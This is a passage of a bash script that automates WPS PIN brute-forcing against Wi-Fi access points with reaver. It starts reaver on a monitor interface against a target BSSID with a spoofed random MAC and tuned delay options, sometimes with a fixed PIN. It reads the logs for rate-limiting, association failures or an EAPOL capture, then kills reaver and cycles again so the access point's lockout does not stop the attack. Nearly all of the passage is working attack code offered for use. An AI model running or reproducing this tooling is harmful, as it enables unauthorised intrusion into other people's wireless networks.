	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R5 == y || $USE_R5 == Y ]] && [[ $USE_LONG5 == n || $USE_LONG5 == N ]] && [[ $USE_PIN5 == n || $USE_PIN5 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME5"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL5"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP5"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX5" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY5"
echo -e "$info Reaver live time                   = $yel$LIVE5 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME5-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL5 -b $TARGETAP5 -vv -x 60 -r $RX5:$RY5 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME5-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE5-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R5 == n || $USE_R5 == N ]] && [[ $USE_LONG5 == y || $USE_LONG5 == Y ]] && [[ $USE_PIN5 == n || $USE_PIN5 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME5"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL5"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP5"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE5 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME5-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL5 -b $TARGETAP5 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME5-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE5-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R5 == y || $USE_R5 == Y ]] && [[ $USE_LONG5 == y || $USE_LONG5 == Y ]] && [[ $USE_PIN5 == n || $USE_PIN5 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME5"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL5"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP5"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX5" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY5"
echo -e "$info Reaver live time                   = $yel$LIVE5 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME5-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL5 -b $TARGETAP5 -r $RX5:$RY5 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME5-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE5-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R5 == n || $USE_R5 == N ]] && [[ $USE_LONG5 == n || $USE_LONG5 == N ]] && [[ $USE_PIN5 == y || $USE_PIN5 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME5"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL5"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP5"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE5 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME5-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL5 -b $TARGETAP5 -vv -x 60  --pin=$WPS_PIN5 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME5-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE5-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`



if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP5 (ESSID: $NMEWARN5)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R5 == y || $USE_R5 == Y ]] && [[ $USE_LONG5 == n || $USE_LONG5 == N ]] && [[ $USE_PIN5 == y || $USE_PIN5 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME5"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL5"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP5"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX5" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY5"
echo -e "$info Reaver live time                   = $yel$LIVE5 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME5-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL5 -b $TARGETAP5 -vv -x 60 -r $RX5:$RY5 --pin=$WPS_PIN5 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME5-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE5-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

